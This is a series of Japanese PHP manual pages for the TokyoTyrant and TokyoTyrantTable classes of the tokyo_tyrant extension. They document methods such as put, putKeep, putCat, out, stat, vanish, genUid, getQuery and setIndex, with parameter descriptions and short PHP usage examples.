  • TokyoTyrantTable::getIterator() - イテレータを取得する

User Contributed Notes

There are no user contributed notes for this page.


データベース内のレコードの数を取得する

  • ≪ TokyoTyrant::getIterator
  • TokyoTyrant::out ≫
  • PHP Manual
  • TokyoTyrant
  • データベース内のレコードの数を取得する

TokyoTyrant::num

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::num — データベース内のレコードの数を取得する

説明

public TokyoTyrant::num ( ) : int

データベース内のレコードの数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

データベース内のレコードの数を返します。

例

例1 TokyoTyrant::num() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* レコード数を表示します */
echo $tt->num();
?>

上の例の出力は、 たとえば以下のようになります。

1234

参考

  • TokyoTyrant::stat() - 統計情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


レコードを削除する

  • ≪ TokyoTyrant::num
  • TokyoTyrant::put ≫
  • PHP Manual
  • TokyoTyrant
  • レコードを削除する

TokyoTyrant::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::out — レコードを削除する

説明

public TokyoTyrant::out ( mixed $keys ) : TokyoTyrant

レコードを削除します。単一のキーの場合は文字列で、複数のレコードのキーの場合は配列で指定します。

パラメータ

keys

文字列のキー、あるいは文字列のキーの配列。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::out() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

$tt->put("test1", "value1");
$tt->put("test2", "value2");

$tt->out(array("test1", "test2"));
?>

参考

  • TokyoTyrant::put() - 値を格納する

User Contributed Notes

There are no user contributed notes for this page.


値を格納する

  • ≪ TokyoTyrant::out
  • TokyoTyrant::putCat ≫
  • PHP Manual
  • TokyoTyrant
  • 値を格納する

TokyoTyrant::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::put — 値を格納する

説明

public TokyoTyrant::put ( mixed $keys , string $value = NULL ) : TokyoTyrant

key-value ペアをデータベースに格納します。keys が文字列の場合は、二番目のパラメータ value で値を指定します。 keys が文字列の場合は二番目のパラメータは必須です。 指定したキーがすでに存在する場合は、新しい値で上書きされます。

パラメータ

keys

文字列のキー、あるいは key-value ペアの配列。

value

文字列のキーを指定した場合の値。

返り値

現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::put() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* 単一の key-value ペアを書き込みます */
$tt->put("key", "value");

/* 複数の key-value ペアを書き込みます。古い値は上書きされます */
$tt->put(array("key1" => "value1", "key" => "value2"));

/* 単一のキーを取得します */
echo $tt->get("key");
?>

上の例の出力は以下となります。

value2

参考

  • TokyoTyrant::putKeep() - レコードを書き込む
  • TokyoTyrant::putCat() - レコードを連結する

User Contributed Notes

There are no user contributed notes for this page.


レコードを連結する

  • ≪ TokyoTyrant::put
  • TokyoTyrant::putKeep ≫
  • PHP Manual
  • TokyoTyrant
  • レコードを連結する

TokyoTyrant::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putCat — レコードを連結する

説明

public TokyoTyrant::putCat ( mixed $keys , string $value = ? ) : TokyoTyrant

ある値を既存のキーに追記します。keys が配列の場合は複数の値となります。keys が文字列の場合は二番目のパラメータは必須です。レコードが存在しない場合は新しいレコードを作成します。

パラメータ

keys

文字列のキー、あるいは key-value ペアの配列。

value

文字列のキーを使用した場合の値。

返り値

現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::putCat() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* 新しいキーを作成します */
$tt->put("key", "value");

/* 単一の key-value ペアを連結します */
$tt->putCat("key", " has more data");

/* キーを表示します */
echo $tt->get("key");
?>

上の例の出力は以下となります。

value has more data

参考

  • TokyoTyrant::put() - 値を格納する
  • TokyoTyrant::putKeep() - レコードを書き込む

User Contributed Notes

There are no user contributed notes for this page.


レコードを書き込む

  • ≪ TokyoTyrant::putCat
  • TokyoTyrant::putNr ≫
  • PHP Manual
  • TokyoTyrant
  • レコードを書き込む

TokyoTyrant::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putKeep — レコードを書き込む

説明

public TokyoTyrant::putKeep ( mixed $keys , string $value = ? ) : TokyoTyrant

key-value ペアをデータベースに格納します。keys が文字列の場合は、二番目のパラメータ value で値を指定します。 keys が文字列の場合は二番目のパラメータは必須です。 指定したキーがすでに存在する場合は、すでにレコードが存在するという例外をスローします。

パラメータ

keys

文字列のキー、あるいは key-value ペアの配列。

value

文字列の値。

返り値

現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 tokyotyrant::putKeep() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* 新しいキーを作成します */
$tt->put("key", "value");

try {
    $tt->putKeep("key", "new value");
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}
echo $tt->get("key");
?>

上の例の出力は以下となります。

Existing record! Not modified
value

参考

  • TokyoTyrant::put() - 値を格納する
  • TokyoTyrant::putCat() - レコードを連結する

User Contributed Notes

There are no user contributed notes for this page.


値を格納する

  • ≪ TokyoTyrant::putKeep
  • TokyoTyrant::putShl ≫
  • PHP Manual
  • TokyoTyrant
  • 値を格納する

TokyoTyrant::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putNr — 値を格納する

説明

public TokyoTyrant::putNr ( mixed $keys , string $value = NULL ) : TokyoTyrant

key-value ペアをデータベースに格納します。keys が文字列の場合は、二番目のパラメータ value で値を指定します。 keys が文字列の場合は二番目のパラメータは必須です。 このメソッドは、サーバーからの応答を待ちません。

パラメータ

keys

文字列のキー、あるいは key-value ペアの配列。

value

文字列の値。

返り値

現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::putNr() の例

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* 単一の key-value ペアを書き込みます */
$tt->putNr("key", "value");

/* 複数の key-value ペアを書き込みます */
$tt->putNr(array("key1" => "value1", "key2" => "value2"));

/* 単一のキーを取得します */
echo $tt->get("key1");
?>

上の例の出力は以下となります。

value1

参考

  • TokyoTyrant::putNr()
  • TokyoTyrant::putKeep() - レコードを書き込む
  • TokyoTyrant::putCat() - レコードを連結する

User Contributed Notes

There are no user contributed notes for this page.


レコードを連結する

  • ≪ TokyoTyrant::putNr
  • TokyoTyrant::restore ≫
  • PHP Manual
  • TokyoTyrant
  • レコードを連結する

TokyoTyrant::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::putShl — レコードを連結する

説明

public TokyoTyrant::putShl ( string $key , string $value , int $width ) : mixed

レコードを連結し、左にシフトします。

パラメータ

key

文字列のキー。

value

連結する値。

width

レコードの幅。

返り値

現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::putShl() example

<?php
/* データベースのデフォルトポートに接続します */
$tt = new TokyoTyrant("localhost");

/* 新しいキーを作成します */
$tt->put("key", "just a long piece of data");

/* 連結し、左にシフトします */
$tt->putShl("key", " and string", 15);

/* キーを表示します */
echo $tt->get("key");
?>

上の例の出力は以下となります。

data and string

参考

  • TokyoTyrant::put() - 値を格納する
  • TokyoTyrant::putKeep() - レコードを書き込む
  • TokyoTyrant::putCat() - レコードを連結する

User Contributed Notes

There are no user contributed notes for this page.


データベースをリストアする

  • ≪ TokyoTyrant::putShl
  • TokyoTyrant::setMaster ≫
  • PHP Manual
  • TokyoTyrant
  • データベースをリストアする

TokyoTyrant::restore

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::restore — データベースをリストアする

説明

public TokyoTyrant::restore ( string $log_dir , int $timestamp , bool $check_consistency = true ) : mixed

更新ログからデータベースをリストアします。

警告

このメソッドは 32bit プラットフォームではサポートされていません。

パラメータ

log_dir

ログが置かれているディレクトリ

timestamp

開始時点のタイムスタンプをミリ秒で指定します。

check_consistency

整合性をチェックするかどうか。デフォルトは true です。

返り値

このメソッドは 現在のオブジェクトを返します。 失敗したときは TokyoTyrantException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


レプリケーションのマスタを設定する

  • ≪ TokyoTyrant::restore
  • TokyoTyrant::size ≫
  • PHP Manual
  • TokyoTyrant
  • レプリケーションのマスタを設定する

TokyoTyrant::setMaster

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::setMaster — レプリケーションのマスタを設定する

説明

public TokyoTyrant::setMaster ( string $host , int $port , int $timestamp , bool $check_consistency = true ) : mixed

データベースのレプリケーション対象のマスタを設定します。

警告

このメソッドは 32bit プラットフォームではサポートされていません。

パラメータ

host

レプリケーション対象のマスタのホスト名。 null を与えた場合、レプリケーションが無効になります。

port

レプリケーション対象のマスタのポート番号

timestamp

開始時点のタイムスタンプをミリ秒で指定します。

check_consistency

整合性を確認するかどうか

返り値

このメソッドは 現在のオブジェクトを返します。 失敗したときは TokyoTyrantException をスローします。

例

例1 TokyoTyrant::setMaster() の例

<?php
/* Connect to a database */
$tt = new TokyoTyrant("tokyotyrant.example.com");

/* Disable the replication */
$tt->setMaster(NULL, 0, 0);
?>

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


値のサイズを返す

  • ≪ TokyoTyrant::setMaster
  • TokyoTyrant::stat ≫
  • PHP Manual
  • TokyoTyrant
  • 値のサイズを返す

TokyoTyrant::size

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::size — 値のサイズを返す

説明

public TokyoTyrant::size ( string $key ) : int

指定したキーに対応する値のサイズを返します。

パラメータ

key

サイズを調べたいキー。

返り値

値のサイズを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrant::size() の例

<?php
$tt = new TokyoTyrant("localhost");

$tt->put("test_key", "12345");

echo $tt->size("test_key");
?>

上の例の出力は以下となります。

5

User Contributed Notes

There are no user contributed notes for this page.


統計情報を取得する

  • ≪ TokyoTyrant::size
  • TokyoTyrant::sync ≫
  • PHP Manual
  • TokyoTyrant
  • 統計情報を取得する

TokyoTyrant::stat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::stat — 統計情報を取得する

説明

public TokyoTyrant::stat ( ) : array

リモートデータベースの統計情報を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

統計情報をあらわす key-value ペアの配列を返します。

例

例1 TokyoTyrant::stat() の例

<?php
$tt = new TokyoTyrant("localhost");

var_dump($tt->stat());
?>

上の例の出力は、 たとえば以下のようになります。

array(19) {
  ["version"]=>
  string(6) "1.1.28"
  ["libver"]=>
  string(3) "311"
  ["protver"]=>
  string(4) "0.91"
  ["os"]=>
  string(5) "Linux"
  ["time"]=>
  string(17) "1247358357.665630"
  ["pid"]=>
  string(5) "14348"
  ["sid"]=>
  string(8) "59025947"
  ["type"]=>
  string(9) "on-memory"
  ["path"]=>
  string(1) "*"
  ["rnum"]=>
  string(1) "4"
  ["size"]=>
  string(6) "262856"
  ["bigend"]=>
  string(1) "0"
  ["fd"]=>
  string(1) "5"
  ["loadavg"]=>
  string(8) "0.000000"
  ["memsize"]=>
  string(8) "77328384"
  ["memrss"]=>
  string(7) "1183744"
  ["ru_real"]=>
  string(13) "162776.042152"
  ["ru_user"]=>
  string(8) "0.476029"
  ["ru_sys"]=>
  string(8) "8.652540"
}

参考

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


データベースを同期させる

  • ≪ TokyoTyrant::stat
  • TokyoTyrant::tune ≫
  • PHP Manual
  • TokyoTyrant
  • データベースを同期させる

TokyoTyrant::sync

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::sync — データベースを同期させる

説明

public TokyoTyrant::sync ( ) : mixed

データベースを物理デバイスに同期させます。

パラメータ

この関数にはパラメータはありません。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


接続の値を調節する

  • ≪ TokyoTyrant::sync
  • TokyoTyrant::vanish ≫
  • PHP Manual
  • TokyoTyrant
  • 接続の値を調節する

TokyoTyrant::tune

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrant::tune — 接続の値を調節する

説明

public TokyoTyrant::tune ( float $timeout , int $options = TokyoTyrant::RDBT_RECON ) : TokyoTyrant

データベースの接続オプションを調節します。

パラメータ

timeout

オブジェクトのタイムアウト値 (デフォルトは 5.0)。

options

調節するオプションのビットマスク。0 あるいは TokyoTyrant::RDBT_RECON とすることができます。このパラメータは変更しないことを推奨します。

返り値

このメソッドは現在のオブジェクトへの参照を返します。失敗した場合は TokyoTyrantException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


データベースを空にする

  • ≪ TokyoTyrant::tune
  • TokyoTyrantTable ≫
  • PHP Manual
  • TokyoTyrant
  • データベースを空にする

TokyoTyrant::vanish

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::vanish — データベースを空にする

説明

public TokyoTyrant::vanish ( ) : mixed

リモートデータベースを空にします。

パラメータ

この関数にはパラメータはありません。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::vanish() の例

<?php
$tt = new TokyoTyrant("localhost");
$tt->vanish();
?>

参考

  • TokyoTyrant::out() - レコードを削除する

User Contributed Notes

There are no user contributed notes for this page.


TokyoTyrantTable クラス

(PECL tokyo_tyrant >= 0.1.0)

はじめに

テーブルデータベースへの API を提供します。 テーブルデータベースを作成するには ttserver -port 1979 /tmp/tt_table.tct のようなコマンドを実行します。Tokyo Tyrant のテーブル API はスキーマのないデータベースで、任意の数の key-value ペアをひとつの主キーのもとに格納することができます。

クラス概要

TokyoTyrantTable extends TokyoTyrant {
/* メソッド */
public add ( string $key , mixed $increment , string $type = ? ) : void
public genUid ( ) : int
public get ( mixed $keys ) : array
public getIterator ( ) : TokyoTyrantIterator
public getQuery ( ) : TokyoTyrantQuery
public out ( mixed $keys ) : void
public put ( string $key , array $columns ) : int
public putCat ( string $key , array $columns ) : void
public putKeep ( string $key , array $columns ) : void
public putNr ( mixed $keys , string $value = ? ) : void
public putShl ( string $key , string $value , int $width ) : void
public setIndex ( string $column , int $type ) : mixed
/* 継承したメソッド */
public TokyoTyrant::add ( string $key , int|float $increment , int $type = 0 ) : int|float
public TokyoTyrant::connect ( string $host , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? ) : TokyoTyrant
public TokyoTyrant::connectUri ( string $uri ) : TokyoTyrant
public TokyoTyrant::__construct ( string $host = ? , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? )
public TokyoTyrant::copy ( string $path ) : TokyoTyrant
public TokyoTyrant::ext ( string $name , int $options , string $key , string $value ) : string
public TokyoTyrant::fwmKeys ( string $prefix , int $max_recs ) : array
public TokyoTyrant::get ( mixed $keys ) : mixed
public TokyoTyrant::getIterator ( ) : TokyoTyrantIterator
public TokyoTyrant::num ( ) : int
public TokyoTyrant::out ( mixed $keys ) : TokyoTyrant
public TokyoTyrant::put ( mixed $keys , string $value = NULL ) : TokyoTyrant
public TokyoTyrant::putCat ( mixed $keys , string $value = ? ) : TokyoTyrant
public TokyoTyrant::putKeep ( mixed $keys , string $value = ? ) : TokyoTyrant
public TokyoTyrant::putNr ( mixed $keys , string $value = NULL ) : TokyoTyrant
public TokyoTyrant::putShl ( string $key , string $value , int $width ) : mixed
public TokyoTyrant::restore ( string $log_dir , int $timestamp , bool $check_consistency = true ) : mixed
public TokyoTyrant::setMaster ( string $host , int $port , int $timestamp , bool $check_consistency = true ) : mixed
public TokyoTyrant::size ( string $key ) : int
public TokyoTyrant::stat ( ) : array
public TokyoTyrant::sync ( ) : mixed
public TokyoTyrant::tune ( float $timeout , int $options = TokyoTyrant::RDBT_RECON ) : TokyoTyrant
public TokyoTyrant::vanish ( ) : mixed
}

目次

  • TokyoTyrantTable::add — レコードを追加する
  • TokyoTyrantTable::genUid — 一意な id を生成する
  • TokyoTyrantTable::get — 行を取得する
  • TokyoTyrantTable::getIterator — イテレータを取得する
  • TokyoTyrantTable::getQuery — クエリオブジェクトを取得する
  • TokyoTyrantTable::out — レコードを削除する
  • TokyoTyrantTable::put — 行を格納する
  • TokyoTyrantTable::putCat — 行を連結する
  • TokyoTyrantTable::putKeep — 新しいレコードを書き込む
  • TokyoTyrantTable::putNr — 値を格納する
  • TokyoTyrantTable::putShl — レコードを連結する
  • TokyoTyrantTable::setIndex — インデックスを設定する

User Contributed Notes

There are no user contributed notes for this page.


レコードを追加する

  • ≪ TokyoTyrantTable
  • TokyoTyrantTable::genUid ≫
  • PHP Manual
  • TokyoTyrantTable
  • レコードを追加する

TokyoTyrantTable::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::add — レコードを追加する

説明

public TokyoTyrantTable::add ( string $key , mixed $increment , string $type = ? ) : void

このメソッドは、テーブルデータベースではサポートしていません。

パラメータ

key

文字列キー。

increment

加算する値。

type

TokyoTyrant::RDB_RECINT あるいは TokyoTyrant::RDB_RECDBL 定数。 このパラメータを省略した場合は、increment の型をもとに型を推測します。

返り値

このクラスでこのメソッドを使うと TokyoTyrantException をスローします。

参考

  • TokyoTyrant::add() - 数値キーを加算する

User Contributed Notes

There are no user contributed notes for this page.


一意な id を生成する

  • ≪ TokyoTyrantTable::add
  • TokyoTyrantTable::get ≫
  • PHP Manual
  • TokyoTyrantTable
  • 一意な id を生成する

TokyoTyrantTable::genUid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::genUid — 一意な id を生成する

説明

public TokyoTyrantTable::genUid ( ) : int

一意な id をテーブルデータベースに生成します。 テーブルデータベース内での行の参照は、数値の主キーを使って行います。

パラメータ

この関数にはパラメータはありません。

返り値

一意な id を返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::genUid() の例

<?php
$tt = new TokyoTyrantTable("localhost", 1122);

echo $tt->genUid();
?>

上の例の出力は、 たとえば以下のようになります。

4

参考

  • TokyoTyrantTable::put() - 行を格納する

User Contributed Notes

There are no user contributed notes for this page.


行を取得する

  • ≪ TokyoTyrantTable::genUid
  • TokyoTyrantTable::getIterator ≫
  • PHP Manual
  • TokyoTyrantTable
  • 行を取得する

TokyoTyrantTable::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::get — 行を取得する

説明

public TokyoTyrantTable::get ( mixed $keys ) : array

行をテーブルデータベースから取得します。 keys は、行を表す主キーの整数値か 複数行を表す整数値の配列となります。

パラメータ

keys

主キー。文字列あるいは整数値。

返り値

行を配列で返します。

例

例1 TokyoTyrantTable::get() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* 行を取得します */
var_dump($tt->get($index));
?>

上の例の出力は以下となります。

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

注意

注意:

バージョン 0.3.0、このメソッドはパラメータとして配列を受け付けるようになりました。 テーブルからの複数レコードの取得はバイナリセーフではないことに注意しましょう。

参考

  • TokyoTyrantTable::put() - 行を格納する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを取得する

  • ≪ TokyoTyrantTable::get
  • TokyoTyrantTable::getQuery ≫
  • PHP Manual
  • TokyoTyrantTable
  • イテレータを取得する

TokyoTyrantTable::getIterator

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TokyoTyrantTable::getIterator — イテレータを取得する

説明

public TokyoTyrantTable::getIterator ( ) : TokyoTyrantIterator

イテレータを取得し、データベース内のすべての キー/値 を反復処理できるようにします。

パラメータ

この関数にはパラメータはありません。

返り値

TokyoTyrantIterator オブジェクトを返します。失敗した場合に TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::getIterator() の例

<?php
$tt = new TokyoTyrantTable("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {
  var_dump($k, $v);
}
?>

参考

  • TokyoTyrantTable::getQuery() - クエリオブジェクトを取得する
  • TokyoTyrant::getIterator() - イテレータを取得する

User Contributed Notes

There are no user contributed notes for this page.


クエリオブジェクトを取得する

  • ≪ TokyoTyrantTable::getIterator
  • TokyoTyrantTable::out ≫
  • PHP Manual
  • TokyoTyrantTable
  • クエリオブジェクトを取得する

TokyoTyrantTable::getQuery

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::getQuery — クエリオブジェクトを取得する

説明

public TokyoTyrantTable::getQuery ( ) : TokyoTyrantQuery

データベース上で検索を実行するためのクエリオブジェクトを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に TokyoTyrantQuery を返します。エラー時に TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::getQuery() の例

<?php
/* テーブルデータベースに接続します */
$table = new TokyoTyrantTable("localhost", 1979);

/* 行を追加します */
$table->put(null, array("column1" => "some data", "column2" => "more data"));
$table->put(null, array("something" => "value", "data" => "good data"));

/* クエリオブジェクトを取得します */
$query = $table->getQuery();

/* 条件をクエリに追加します */
$query->addCond('data', TokyoTyrant::RDBQC_STREQ, 'good data');

/* マッチする行を取得します */
var_dump($query->search());
?>

上の例の出力は、 たとえば以下のようになります。

array(1) {
  [11]=>
  array(2) {
    ["something"]=>
    string(5) "value"
    ["data"]=>
    string(9) "good data"
  }
}

参考

  • TokyoTyrantQuery::search() - レコードを検索する
  • TokyoTyrantQuery::out() - クエリに基づいてレコードを削除する

User Contributed Notes

There are no user contributed notes for this page.


レコードを削除する

  • ≪ TokyoTyrantTable::getQuery
  • TokyoTyrantTable::put ≫
  • PHP Manual
  • TokyoTyrantTable
  • レコードを削除する

TokyoTyrantTable::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::out — レコードを削除する

説明

public TokyoTyrantTable::out ( mixed $keys ) : void

テーブルデータベースからレコードを削除します。

パラメータ

keys

整数のキー、あるいはその配列。

返り値

このメソッドは現在のオブジェクトを返します。失敗した場合に TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::out() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* 行を削除します */
$tt->out($index);
?>

参考

  • TokyoTyrantTable::put() - 行を格納する

User Contributed Notes

There are no user contributed notes for this page.


行を格納する

  • ≪ TokyoTyrantTable::out
  • TokyoTyrantTable::putCat ≫
  • PHP Manual
  • TokyoTyrantTable
  • 行を格納する

TokyoTyrantTable::put

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::put — 行を格納する

説明

public TokyoTyrantTable::put ( string $key , array $columns ) : int

新しい行をデータベースに格納します。このメソッドのパラメータ key は行の主キーで、null を渡すと一意な id を新たに生成します。value は配列で、行の内容を表します。通常は、キーと値のペアとなります。

パラメータ

key

行の主キー。

columns

行の内容。

返り値

成功した場合に主キーを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::put() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* 行を取得します */
var_dump($tt->get($index));

/* 既存の行を変更します */
$tt->put($index, array("column1" => "other data", "column2" => "better data"));

/* 行を取得します */
var_dump($tt->get($index));
?>

上の例の出力は以下となります。

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(2) {
  ["column1"]=>
  string(10) "other data"
  ["column2"]=>
  string(11) "better data"
}

参考

  • TokyoTyrantTable::get() - 行を取得する

User Contributed Notes

fincantieri at outlook dot com 25-Apr-2015 05:52
can TokyoTyrantTable (putkeep/get) use without an array?.. like in php mysql, inserting records and displaying item without using array methods..


行を連結する

  • ≪ TokyoTyrantTable::put
  • TokyoTyrantTable::putKeep ≫
  • PHP Manual
  • TokyoTyrantTable
  • 行を連結する

TokyoTyrantTable::putCat

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putCat — 行を連結する

説明

public TokyoTyrantTable::putCat ( string $key , array $columns ) : void

このメソッドを使うと、新しいカラムを既存のレコードに追加することができます。 既存のキーはそのまま変わらず残り、任意の新しいカラムを行に追加することができます。 key に null を渡すと、新しい行を生成します。

パラメータ

key

行の主キー、あるいは null。

columns

行の内容の配列。

返り値

主キーを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::putCat() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* 行を取得します */
var_dump($tt->get($index));

/* 既存の行を変更します */
$tt->putcat($index, array("column1" => "something new", "new_column" => "other data"));

/* 行を取得します */
var_dump($tt->get($index));
?>

上の例の出力は以下となります。

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
array(3) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
  ["new_column"]=>
  string(10) "other data"
}

参考

  • TokyoTyrantTable::put() - 行を格納する

User Contributed Notes

There are no user contributed notes for this page.


新しいレコードを書き込む

  • ≪ TokyoTyrantTable::putCat
  • TokyoTyrantTable::putNr ≫
  • PHP Manual
  • TokyoTyrantTable
  • 新しいレコードを書き込む

TokyoTyrantTable::putKeep

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putKeep — 新しいレコードを書き込む

説明

public TokyoTyrantTable::putKeep ( string $key , array $columns ) : void

新しいレコードをデータベースに書き込みます。 もしそのキーがすでに存在する場合は、レコードが存在することをあらわす例外をスローします。

パラメータ

key

行の主キー、あるいは null。

columns

行の内容の配列。

返り値

主キーを返します。エラー時には TokyoTyrantException をスローします。

例

例1 TokyoTyrantTable::putKeep() の例

<?php
/* テーブルデータベースに接続します */
$tt = new TokyoTyrantTable("localhost", 1979);

/* null を渡して新しい uid を生成します */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* 行を取得します */
var_dump($tt->get($index));

try {
    $tt->putKeep($index, array("column1" => "something new", "new_column" => "other data"));
} catch (TokyoTyrantException $e) {
    if ($e->getCode() === TokyoTyrant::TTE_KEEP) {
        echo "Existing record! Not modified\n";
    } else {
        echo "Error: " , $e->getMessage() , "\n";
    }
}

/* 行を取得します */
var_dump($tt->get($index));
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}
Existing record! Not modified
array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

参考

  • TokyoTyrantTable::put() - 行を格納する

User Contributed Notes

There are no user contributed notes for this page.


値を格納する

  • ≪ TokyoTyrantTable::putKeep
  • TokyoTyrantTable::putShl ≫
  • PHP Manual
  • TokyoTyrantTable
  • 値を格納する

TokyoTyrantTable::putNr

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putNr — 値を格納する

説明

public TokyoTyrantTable::putNr ( mixed $keys , string $value = ? ) : void

このメソッドは、テーブルデータベースではサポートしていません。 このメソッドを TokyoTyrantTable でコールするとエラーと見なされ、 TokyoTyrantException をスローします。

パラメータ

keys

文字列のキー、あるいは key-value ペアの配列。

value

文字列の値。

返り値

このメソッドは、テーブルデータベースではサポートしていません。 このメソッドを TokyoTyrantTable でコールするとエラーと見なされ、 TokyoTyrantException をスローします。

参考

  • TokyoTyrant::putNr() - 値を格納する
  • TokyoTyrant::putKeep() - レコードを書き込む
  • TokyoTyrant::putCat() - レコードを連結する

User Contributed Notes

There are no user contributed notes for this page.


レコードを連結する

  • ≪ TokyoTyrantTable::putNr
  • TokyoTyrantTable::setIndex ≫
  • PHP Manual
  • TokyoTyrantTable
  • レコードを連結する

TokyoTyrantTable::putShl

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::putShl — レコードを連結する

説明

public TokyoTyrantTable::putShl ( string $key , string $value , int $width ) : void

このメソッドは、テーブルデータベースではサポートしていません。 このメソッドを TokyoTyrantTable でコールするとエラーと見なされ、 TokyoTyrantException をスローします。

パラメータ

key

文字列のキー。

value

連結する値。

width

レコードの幅。

返り値

このメソッドは、テーブルデータベースではサポートしていません。

参考

  • TokyoTyrant::put() - 値を格納する
  • TokyoTyrant::putKeep() - レコードを書き込む
  • TokyoTyrant::putCat() - レコードを連結する
  • TokyoTyrantTable::put() - 行を格納する
  • TokyoTyrantTable::putKeep() - 新しいレコードを書き込む
  • TokyoTyrantTable::putCat() - 行を連結する

User Contributed Notes

There are no user contributed notes for this page.


インデックスを設定する

  • ≪ TokyoTyrantTable::putShl
  • TokyoTyrantQuery ≫
  • PHP Manual
  • TokyoTyrantTable
  • インデックスを設定する

TokyoTyrantTable::setIndex

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantTable::setIndex — インデックスを設定する

説明

public TokyoTyrantTable::setIndex ( string $column , int $type ) : mixed

指定したカラムにインデックスを設定します。 インデックスの型は、TokyoTyrant::RDBIT_* 定数のいずれかで指定します。TokyoTyrant::RDBIT_VOID を渡すとインデックスを削除します。

パラメータ

column

カラム名。

type

インデックスの型。

返り値

このメソッドは現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


TokyoTyrantQuery クラス

